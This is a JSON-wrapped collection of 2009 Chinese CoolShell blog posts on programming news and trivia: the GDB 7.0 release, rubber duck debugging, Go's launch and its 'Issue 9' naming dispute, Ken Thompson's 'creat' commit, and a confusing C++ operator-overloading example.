    "content": "---\nlayout: post\ntitle: GDB 7.0 发布\ndate: 2009/10/9/ 8:39:16\nupdated: 2009/10/9/ 8:39:16\nstatus: publish\npublished: true\ntype: post\n---\n\n[http://www.gnu.org/software/gdb/images/archer.jpg \"GDB: The GNU Project Debugger 吉祥物\"](http://www.gnu.org/software/gdb/mascot/)2009年10月06日，GDB7.0正式发布，新的版本你可以在[这里下载](http://www.gnu.org/software/gdb/download/)。本次版本，不但有大家所关注的《GDB[回溯调试技术](https://coolshell.cn/articles/1502.html)》，同样还有其它大量的新特性，和对新平台的支持。\n\n\n新版的GDB7.0支持如下新的平台或配置：\n\n\n* x86/x86\\_64 Darwin\n* x86\\_64 MinGW\n* Lattice Mico32\n* x86/x86\\_64 DICOS\n* S+core 3\n* The remote stub now supports x86 Windows CE\n\n\n其主要的新加入的功能有：（看上去相当地高科技啊，很多术语都不知道怎么翻译，请注意后面的相关解释）\n\n\n* Python 脚本调试\n* 回溯调试，调式过程记录并重演。\n* 不间隔调试。 Non-stop debugging\n* 并行调试。 Multi-architecture debugging\n* 多进程调试。Multi-inferior, multi-process debugging\n\n\n\n\n> **注释：**\n> \n> \n> * Non-stop 的意思是，当我们在调试一个进程中的某一个或某一些线程时，可以让没有被调试的线程继续运行不停止。\n> * Multi-architecture在字面上理解是多层架构，但应该是关于并行方面的（请大家指正），比如MIPS或SPARC等并行编程方面的。\n> * Multi-inferior的意思是，你可以同时调试多个不同的进程。在某些情况下，这会更容易帮助我们了解程序的内部执行情况。\n> \n> \n> \n\n\n当然，本版本也包括了下面的一些改进和补丁：\n\n\n\\* GDB 为JIT 提供了一个编译接口  \n\n\\* Tracepoints 可以加上条件  \n\n\\* 支持多字节和宽字符  \n\n\\* 为”disassemble”新增加/r 和/m 参数  \n\n\\* 对共享库的自动获取  \n\n\\* 支持内联函数  \n\n\\* 新的远程协议包  \n\n\\* GDB 开始可以读取压缩调试片段  \n\n\\* 在Tru64平台下支持线程切换  \n\n\\* 支持Ada 任务切换  \n\n\\* gdbserver的新功能 ——GDB remote stub  \n\n\\* 一个新的命令，当有系统调用发生时可以停止正在运行的程序\n\n\n(全文完)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/1502.html)[高科技：GDB回溯调试](https://coolshell.cn/articles/1502.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/3643.html)[GDB中应该知道的几个调试方法](https://coolshell.cn/articles/3643.html)\n* [![橡皮鸭程序调试法](../wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg)](https://coolshell.cn/articles/1719.html)[橡皮鸭程序调试法](https://coolshell.cn/articles/1719.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/1379.html)[如何调试bash脚本](https://coolshell.cn/articles/1379.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/1242.html)[23,148,855,308,184,500](https://coolshell.cn/articles/1242.html)\nThe post [GDB 7.0 发布](https://coolshell.cn/articles/1525.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-10 橡皮鸭程序调试法.md",
    "content": "---\nlayout: post\ntitle: 橡皮鸭程序调试法\ndate: 2009/11/10/ 10:0:6\nupdated: 2009/11/10/ 10:0:6\nstatus: publish\npublished: true\ntype: post\n---\n\n![Rubber Duck Debugging](../wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg \"Rubber Duck Debugging\")下面，让我来为你介绍一个程序调试大法——“橡皮鸭程序调试法”，这个方法在调试界是很出众的，实施起来相当方便和简易，几乎可以随时随地地实验，几乎不需要借助任何的软件和硬件的支持，你甚至可以把你的程序打印出来，在纸面上进行调试。\n\n\n那么，为什么这个方法要叫做橡皮鸭呢？因为橡皮鸭子是西方人在泡澡时最喜欢玩的一个小玩具，所以，这个东西应该家家户户都必备的。因为，这个方法由西方人发明，所以，就被取名为“橡皮鸭”了。\n\n\n好了，话不多说，下面是整个调试方法的流程。\n\n\n1. 找一个橡皮鸭子。你可以去借，去偷，去抢，去买，自己制作……反正你要搞到一个橡皮鸭子。\n2. 把这个橡皮鸭子放在你跟前。标准做法是放在你的桌子上，电脑显示器边，或是键盘边，反正是你的跟前，面朝你。\n3. 然后，打开你的源代码。不管是电脑里的还是打印出来的。\n4. 对着那只橡皮鸭子，把你写下的所有代码，一行一行地，精心地，向这只橡皮鸭子解释清楚。记住，这是解释，你需要解释出你的想法，思路，观点。不然，那只能算是表述，而不是解释。\n5. 当你在向这只始终保持沉默的橡皮鸭子解释的过程中，你会发现你的想法，观点，或思路和实际的代码相偏离了，于是你也就找到了代码中的bug。\n6. 找到了BUG，一定要记得感谢一下那个橡皮鸭子哦。\n\n\n什么？你觉得这个方法太“愚蠢”，太“弱智”了？是的，看上去，会这样做的人脑子好像是有点毛病。不过，我要告诉你的是，这个方法的确有效。**因为，这就是“Code Review”的雏形**！下面让我来给你解释一下。\n\n\n\n\n> Once a problem is described in sufficient detail, its solution is obvious.\n> \n> \n\n\n上面这句话的意思是\n\n\n\n> 一旦一个问题被充分地描述了他的细节，那么解决方法也是显而易见的。\n> \n> \n\n\n我相信在座的各位都有过这样的经历，当你死活都找不到问题的原因的时候，当你寻求他人的帮助时，对别人解释整个你的想法和意图或是问题背景的时候，你自己都没有解释完，就已经找到问题的原因了。这样的经历，相信大家一定有过。这就是这个方法的意义所在。\n\n\n所以，“橡皮鸭”只是一个形式，其主要目的是要你把自己写的代码做“自查”，也就是自己解释给自己听。当然，为了不让你像个“精神分裂”的程序员，引入“橡皮鸭”是很有必要的（虽然这样还是有点精神病，但比起精神分裂来说算是好的了，嘻嘻）。所以，真实的本质是Code Review。关于代码评审，大家可以看一下我的这篇文章《[Code Review中的几个提示](https://coolshell.cn/articles/1302.html)》，你会明白其中更多的东西的。\n\n\n最后，我想和大家说一下道具“橡皮鸭”。是的，在我们的身边，你不一定能找得“橡皮鸭”，但你可以找到你你的同事，你的朋友，来做这个“橡皮鸭”，当然，他们并不一定有“橡皮鸭”好使，因为你的那些同事或朋友一定会在你解释的时候，随意地发表意见和看法，相当的令人annoying。《[Code Review中的几个提示](https://coolshell.cn/articles/1302.html)》和《[结对编程的利与弊](https://coolshell.cn/articles/16.html)》也谈到了一些，供你借鉴。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![如何重构“箭头型”代码](../wp-content/uploads/2017/04/IMG_7411-150x150.jpg)](https://coolshell.cn/articles/17757.html)[如何重构“箭头型”代码](https://coolshell.cn/articles/17757.html)\n* [![从Code Review 谈如何做技术](../wp-content/uploads/2014/04/code_review-150x150.jpg)](https://coolshell.cn/articles/11432.html)[从Code Review 谈如何做技术](https://coolshell.cn/articles/11432.html)\n* [![一个空格引发的惨剧](../wp-content/uploads/2011/06/20110620115951113-150x150.gif)](https://coolshell.cn/articles/4875.html)[一个空格引发的惨剧](https://coolshell.cn/articles/4875.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1525.html)[GDB 7.0 发布](https://coolshell.cn/articles/1525.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/1502.html)[高科技：GDB回溯调试](https://coolshell.cn/articles/1502.html)\nThe post [橡皮鸭程序调试法](https://coolshell.cn/articles/1719.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-11 Firefox插件WebMail Notifier.md",
    "content": "---\nlayout: post\ntitle: Firefox插件WebMail Notifier\ndate: 2009/11/11/ 3:36:20\nupdated: 2009/11/11/ 3:36:20\nstatus: publish\npublished: true\ntype: post\n---\n\n当你的邮箱有新邮件时，WebMail Notifier此插件会自动提醒你。\n\n\n支持：gmail, yahoo, hotmail, daum, naver, empas, nate等。\n\n\n\n\n\n|  |\n| --- |\n|  |\n| 版本 | 1.5.3 |\n| 兼容版本 | Firefox: 1.5 – 3.7a1pre |\n| 已更新 | 2009 年 10 月 8 日  |\n| 开发者 | [Byungwook Kang](https://addons.mozilla.org/zh-CN/firefox/user/104093) |\n| 主页 | **<http://webmailnotifier.mozdev.org/>**  |\n| 评分 | 评分 4 超过了 5 星 [**728** 条意见](https://addons.mozilla.org/zh-CN/firefox/addon/4490#reviews)  |\n| 下载次数 | **3,239,874**  |\n\n\n\n查看：<https://addons.mozilla.org/zh-CN/firefox/addon/4490>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Mozilla的一个BUG](../wp-content/uploads/2010/09/Mozilla-150x150.jpg)](https://coolshell.cn/articles/2936.html)[Mozilla的一个BUG](https://coolshell.cn/articles/2936.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/2667.html)[浏览器正则表达式检查插件](https://coolshell.cn/articles/2667.html)\n* [![一个浏览器市场占有量的图](../wp-content/uploads/2010/01/browser_history-150x150.jpg)](https://coolshell.cn/articles/2069.html)[一个浏览器市场占有量的图](https://coolshell.cn/articles/2069.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/732.html)[Glassfish ESB 的教程](https://coolshell.cn/articles/732.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/294.html)[OSGi和Java企业级运算的未来方向](https://coolshell.cn/articles/294.html)\n* [![无锁队列的实现](../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg)](https://coolshell.cn/articles/8239.html)[无锁队列的实现](https://coolshell.cn/articles/8239.html)\nThe post [Firefox插件WebMail Notifier](https://coolshell.cn/articles/1714.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-11 Go 语言：Google 的新编程语言.md",
    "content": "---\nlayout: post\ntitle: Go 语言：Google 的新编程语言\ndate: 2009/11/11/ 10:1:20\nupdated: 2009/11/11/ 10:1:20\nstatus: publish\npublished: true\ntype: post\n---\n\nGoogle 今天发布了自制的编程语言，叫做Go，官方网站如下：\n\n\n* <http://golang.org/>\n\n\n主要参与者名单繁星满天：\n\n\n* [Ken Thompson](http://en.wikipedia.org/wiki/Ken_Thompson) (Unix之父之一…好拗口)\n* [Rob Pike](http://research.google.com/people/r/) (Unix团队成员, 著书《 *[The Practice of Programming](http://en.wikipedia.org/wiki/The_Practice_of_Programming \"The Practice of Programming\")* 》and《 *[The Unix Programming Environment](http://en.wikipedia.org/wiki/The_Unix_Programming_Environment_(book) \"The Unix Programming Environment (book)\")*》)\n* 等等\n\n\nLogo图标 (一只 Gopher, 金花鼠，作者 [Renée French](http://reneefrench.blogspot.com/))  \n\n![logo-153x55](../wp-content/uploads/2009/11/logo-153x55.png \"logo-153x55\")\n\n\n为什么Google要做自己的编程语言呢？\n\n\n* 快，安全，处理并发 （其余的[讲义在此](http://golang.org/doc/go_talk-20091030.pdf)）\n\n\n似乎Google内部官方编程语言之战在即… C, C++, Java, Python, JavaScript, and now [Go](http://golang.org/) and [Zimbu](http://www.zimbu.org/)(by VIM 的作者)\n\n\n[Go programming language Tech Talk](http://v.youku.com/v_show/id_XMTMxMzIwMTQ4.html)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/3156.html)[Go语言的”Issue 9″ Closed!](https://coolshell.cn/articles/3156.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/1781.html)[Go语言更名Issue 9？](https://coolshell.cn/articles/1781.html)\n* [![Go语言源码的一个改动](../wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg)](https://coolshell.cn/articles/1761.html)[Go语言源码的一个改动](https://coolshell.cn/articles/1761.html)\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![ETCD的内存问题](../wp-content/uploads/2022/05/etcd-150x150.png)](https://coolshell.cn/articles/22242.html)[ETCD的内存问题](https://coolshell.cn/articles/22242.html)\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\nThe post [Go 语言：Google 的新编程语言](https://coolshell.cn/articles/1751.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-11 恐怖的C++语言.md",
    "content": "---\nlayout: post\ntitle: 恐怖的C++语言\ndate: 2009/11/11/ 4:6:25\nupdated: 2009/11/11/ 4:6:25\nstatus: publish\npublished: true\ntype: post\n---\n\n[![我爱C++](../wp-content/uploads/2009/11/cpp-300x216.jpg \"我爱C++\")](https://coolshell.cn/wp-content/uploads/2009/11/cpp.jpg) Linus曾经(2007年9月)在新闻组[gmane.comp.version-control.git](http://news.gmane.org/gmane.comp.version-control.git)里和一个微软的工程师（Dmitry Kakurin）争执过用C还是用C++，当时的那个微软的工程师主要是在做Git的Windows版，但他却发现Git的源码居然是C语言写的，而不是C++，于是他（Dmitry Kakurin）在Linux社区里发贴表示对Linux的不满，语言很直接：\n\n\n\n> \n> Pure C as opposed to C++. No idea why. Please don’t talk about portability, it’s BS. （纯C写的，而不是C++，不知道为什么，请别告诉我是为了移植性，这完全是胡扯。）\n> \n> \n> \n\n\nLinux之父Linus Torvalds马上跟贴，在贴子中，Linus言辞很直接，直接表明C++是一个很恐怖的语言，他在[**贴子**](http://thread.gmane.org/gmane.comp.version-control.git/57643/focus=57918)中说：\n\n\n\n> \n> **\\*YOU\\*** are full of bullshit. C++ is a horrible language. It’s made more horrible by the fact that a lot of substandard programmers use it. （你才是完全在胡扯。C++是一门很恐怖的语言，而比它更恐怖的是很多不合格的程序员在使用着它）\n> \n> \n> \n\n\nLinus的这个观点我是比较同意的，我个人也在几年前的《[STL String类的写时才拷贝](http://blog.csdn.net/haoel/archive/2004/06/23/24058.aspx)》以及以后的一些文章中表达过C++的确并不是一个很成熟的语言，这种观点一直都围绕着我。这是因为它的学习成本实在是太高了，编译器和类背着你做了很多你不知道的事，而且，C++非常容易地出错和发生很多意想不到的问题。\n\n\n当然，这篇文章并不是要继续声讨C++，也不是回顾以前的某个事件。我们这里只谈技术。昨天，我在网上看到一个邪恶的C++的示例，在这里给大家share一下，让大家看看C++这种编程语言的恐怖和邪恶的一面。下面的这个例子，比那个“#define  private  public”还更加邪恶。\n\n\n\n请看下面这段代码，你能告诉我它会输出什么吗？（注意main函数中高亮的那一行）\n\n\n\n```\n#include <iostream>\n#include <vector>\n\ntypedef int UINT4;\nusing namespace std;\nclass Hack\n{\n};\n\nHack& operator< (Hack &a , Hack &b)\n{\n    std::cerr << \"小于操作符\\n\";\n    return a;\n}\n\nHack& operator> (Hack &a, Hack &b)\n{\n    std::cerr <<  \"大于操作符\\n\";\n    return a;\n}\n\nint main(int argc, char ** argv)\n{\n    Hack vector;\n    Hack UINT4;\n    Hack foo;\n\n    vector<UINT4> foo;\n\nreturn(0);\n}\n```\n\n![不是吧](../wp-content/uploads/2009/11/bushiba-150x150.jpg \"不是吧\")是的，上面这段代码如果只看main函数中的那句“vector<UINT4> foo”，你会觉得很眼熟，然而，事情并非那么简单，我们可以看到vector, UINT4和foo都是Hack类的实例，这就是邪恶的开始，那两个尖括号< >则成了两个运算符，大于和小于，这两个运算符却又被重载了。其实，真正的语句是：\n\n\n`vector.operator<(UNIT4).operator>(foo);`\n\n\n所以，所有的一切都符合我们的C++的规范和语法，自然程序也能被顺利编译通过（至少，在我的G++上是没有问题的）。而整个程序的运行结果自然是：\n\n\n\n```\n$ ./horror\n小于操作符\n大于操作符\n```\n\n是的，如果你通晓C++的一切的一切，你自然不会对这段程序感到惊奇。这样的事情在C/C++的世界中并不少见，要搞乱C/C++的代码并不是一件难事，花样多得数不胜数，只要看看《[6个变态的C语言Hello World程序](https://coolshell.cn/articles/914.html \"6个变态的C语言Hello World程序 - 4,749 次浏览\")》你就知道了，而且，还有一个简单的教程《[如何加密/混乱C源代码](https://coolshell.cn/articles/933.html \"如何加密/混乱C源代码 - 2,420 次浏览\")》告诉你一些简单的做法。\n\n\n那么，如果你有一天在读程序中看到“vector<UINT4> foo”，你会觉得那只是一个幻觉吗？\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [恐怖的C++语言](https://coolshell.cn/articles/1724.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-12 Go语言源码的一个改动.md",
    "content": "---\nlayout: post\ntitle: Go语言源码的一个改动\ndate: 2009/11/12/ 0:31:25\nupdated: 2009/11/12/ 0:31:25\nstatus: publish\npublished: true\ntype: post\n---\n\n2009年11月11日，光棍节，[Google发布了Go语言](https://coolshell.cn/articles/1751.html)，马上，就有网友在<http://code.google.com/p/go/>上找到了一个Go语言包文件操作源码/src/pkg/os/file.go文件的一个最新改动。这个改动的作者就是那个大名鼎鼎的Unix之父[Ken Thompson](http://en.wikiquote.org/wiki/Kenneth_Thompson)（看看人家，都这么老了，还在写程序，佩服佩服，真是顶级程序员啊——《[程序员的八个级别](https://coolshell.cn/articles/343.html)》），而这个改动的[Log Message](http://code.google.com/p/go/source/detail?r=4a3f6bbb5f0c6021279ccb3c23558b3c480d995f)如下所示（把屏抓下来，以免以后某日被放到墙外或是google.com数据丢失或是Google公司倒闭）\n\n\nSpell it with an “e”  \n\n  \n\n![spell it with an e](../wp-content/uploads/2009/11/spell_it_with_e.jpg \"spell it with an e\")\n\n\n \n\n\n这是一个很著名的典故，要知道这个典故，你需要知道两件事，一个是Ken Thompson的经典语录，一个是Unix的系统调用。\n\n\n\n关于Ken Thompson的经典语录，你可以在wikipdia上的[Ken Thompson](http://en.wikiquote.org/wiki/Kenneth_Thompson)词条中找到，这个事情是这样的。\n\n\n\n> Ken Thompson was once asked what he would do differently if he were redesigning the UNIX system. His reply: “**I’d spell creat with an e.**” （Ken Thompson有一次在被问到——如果他可以重新设计Unix系统，他会做些什么不同的事？而他回答到：“我会把“creat”多拼一个e”）\n> \n> \n\n\n“I’d spell creat with an e”，也就是说，他会把creat这个单词拼成**creat****e**，而不是creat。为什么是creat呢，这需要我们来看一下creat这个系统调用，你可以在Unix或Linux下简单地[man creat](http://linux.die.net/man/2/creat)你就可以知道，这个系统调用连带其某些参数，如：**O\\_CREAT**，都是一个少了“e”的create。（Unix下的有很多东西都是简写，如：usr，gp，ls，mv，ps，满大街的都是缩写）\n\n\n看看这个改动的[diff](http://code.google.com/p/go/source/diff?spec=svn1f0a01c93d305f1ab636c68b67346659c5b957f7&r=4a3f6bbb5f0c6021279ccb3c23558b3c480d995f&format=side&path=/src/pkg/os/file.go&old_path=/src/pkg/os/file.go&old=50a1ee94151635c25ad76816044252af417a45b8)——这个diff只有一行，第65行，抓屏如下（理由同上）\n\n\n![spell it with e  diff](../wp-content/uploads/2009/11/spell_it_with_e_diff.jpg \"spell it with e  diff\")\n\n\n40年后的今天，Ken Thompson参与Go语言设计，于是，他提交了这个改动，也算是圆了他的愿望，从这点看来，Ken Thompson把Go语言看得和Unix一样重啊。难道Go语言也会像Unix一样成为另一个传奇？（Unix传奇 [上篇](http://blog.csdn.net/haoel/archive/2007/03/27/1542340.aspx)，[下篇](http://blog.csdn.net/haoel/archive/2007/03/27/1542353.aspx)）\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Unix 50 年：Ken Thompson 的密码](../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg)](https://coolshell.cn/articles/19996.html)[Unix 50 年：Ken Thompson 的密码](https://coolshell.cn/articles/19996.html)\n* [![Unix考古记：一个“遗失”的shell](../wp-content/uploads/2013/04/figure1-150x150.gif)](https://coolshell.cn/articles/9410.html)[Unix考古记：一个“遗失”的shell](https://coolshell.cn/articles/9410.html)\n* [![少即是极多](../wp-content/uploads/2012/06/Less-is-More-Box-ShopTab-300x282-150x150.jpg)](https://coolshell.cn/articles/7771.html)[少即是极多](https://coolshell.cn/articles/7771.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/3156.html)[Go语言的”Issue 9″ Closed!](https://coolshell.cn/articles/3156.html)\n* [![Unix传奇(上篇)](../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg)](https://coolshell.cn/articles/2322.html)[Unix传奇(上篇)](https://coolshell.cn/articles/2322.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/1781.html)[Go语言更名Issue 9？](https://coolshell.cn/articles/1781.html)\nThe post [Go语言源码的一个改动](https://coolshell.cn/articles/1761.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-13 Go语言更名Issue 9？.md",
    "content": "---\nlayout: post\ntitle: Go语言更名Issue 9？\ndate: 2009/11/13/ 5:37:11\nupdated: 2009/11/13/ 5:37:11\nstatus: publish\npublished: true\ntype: post\n---\n\nGo语言出了一个Issue，这个Issue的链接在这里：<http://code.google.com/p/go/issues/detail?id=9> ，这个Issue的编号是9描述是：\n\n\n\n> I have already used the name for \\*MY\\* programming language\n> \n> \n\n\n意思是，已经有人使用了这go作为其语言的命名了。报告者叫fmccabe，他说到：\n\n\n\n> 我已经从事于我的一个编程语言，而且都10年了。并且都有很多论文发表了。我非常感激你们Google如果把这个名字修改一下，因为我是不会修改我的语言的名字的！\n> \n> \n\n\n于是，开始了回贴：\n\n\n* 1楼跟贴说，“给个链接看看”\n* fmccabe在2楼说：“我出版了本书在lulu.com上”。\n* 3楼的说，“是的，你的语言叫“Go!”，你的书在：<http://www.lulu.com/content/paperback-book/lets-go/641689>”\n* 4楼说：“三楼你是对的，LZ的语言是‘Let’s Go!’或‘Go!’，Google的叫‘go’，根本就不同啊。”\n* LZ不同意在5楼说：“是的，我的语言叫Go!，书名叫：Let’s Go!。而这里的问题不是Google的go是否会有名，而是公平性。”\n\n\n好事者从来都不少，后面的贴子可想而知了。众多网友纷纷支持LZ，让Google改名。\n\n\n* 11楼让LZ找个便宜的律师，还说Google的钱袋很深的。\n* 14楼的DailyFinance.com的一个MS记者的人也找上了。\n* 17楼建议Google改名Goo 或Foo\n\n\n于是，再往后的回贴，众网友们开始纷纷帮Google的go语言改名：  \n\n\n\n\n* 25楼说，Goo也被用了。\n* 28楼说，应该叫GOOP = Google Object Oriented Programming\n* 29楼说，叫ogle\n* 30楼说，叫Goat\n* 31楼说，JAgo: Just Another go （42楼说，Jago也被用了）\n* 36楼说，go2。并说明，C++也使用了C的名字，用++做了后缀。所以，可以go2\n* 40楼说，为什么不叫Golang?Erlang – “Ericsson Language”和Golang – “Google Language”，多配啊。\n* 50楼说，干脆叫“Do”得了。\n* 53楼说，叫gone也可以啊。\n* 69楼说，大家别吵了，这是go的第9个issue，叫Issue 9最好。\n\n\n后面的网友们纷纷支持Issue 9，**Issue 9**的呼声最高。截止本文发表，大约有710个跟贴，在[reddit.com](http://www.reddit.com/r/programming/comments/a351z/oohhhh_snap_i_have_already_used_the_name_go_for/)上也在580多个。网友的力量就是大啊。\n\n\n星期五了，耗子祝大家周末快乐！\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/3156.html)[Go语言的”Issue 9″ Closed!](https://coolshell.cn/articles/3156.html)\n* [![Go语言源码的一个改动](../wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg)](https://coolshell.cn/articles/1761.html)[Go语言源码的一个改动](https://coolshell.cn/articles/1761.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/1751.html)[Go 语言：Google 的新编程语言](https://coolshell.cn/articles/1751.html)\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![ETCD的内存问题](../wp-content/uploads/2022/05/etcd-150x150.png)](https://coolshell.cn/articles/22242.html)[ETCD的内存问题](https://coolshell.cn/articles/22242.html)\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\nThe post [Go语言更名Issue 9？](https://coolshell.cn/articles/1781.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-16 在上班的时候浏览不相干网页.md",
    "content": "---\nlayout: post\ntitle: 在上班的时候浏览不相干网页\ndate: 2009/11/16/ 5:19:53\nupdated: 2009/11/16/ 5:19:53\nstatus: publish\npublished: true\ntype: post\n---\n\n相信大家在上班的时候都要去浏览很多与工作无关的网页，但总是害怕被同事尤其是老板看到，所以，你总是会有个“老板键”什么的。当有人从你身边经过的时候，你会很快速地切换你的桌面屏幕，让人看到你还在干与工作有关的事情了。\n\n\n现在，一个具有创意的天才解决方案出来了——为什么不把这些与工作无关的网站的样子都变成和工作相关呢？这里有一个示例，真让人拍案叫绝。不知道大家知不知道一个叫<http://www.fmylife.com/>的网站？这个网站上都是一些“令人难堪”的小笑话，很多是荤的笑话，而有另一个网站是：<http://fml.madsravn.dk/>——这个网站就是fmylife的翻版，唯一不同的是，它把fmylife.com伪装成了一个Java 2 Platform SE v1.42的技术文档（请注意这个文档中的函数解释的内容），于是你就可以在上班的时候大胆地浏览fmylife.com上的内容了，因为那看起来就像在看Java的API文档。呵呵。\n\n\n![Java Doc版的fmlife.com](../wp-content/uploads/2009/11/fmlife_javadoc.jpg \"Java Doc版的fmlife.com\")\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/5.html)[Java EE6 初探](https://coolshell.cn/articles/5.html)\n* [![UI的恶梦](../wp-content/uploads/2009/12/badui2-300x224-1-150x150.jpg)](https://coolshell.cn/articles/1907.html)[UI的恶梦](https://coolshell.cn/articles/1907.html)\n* 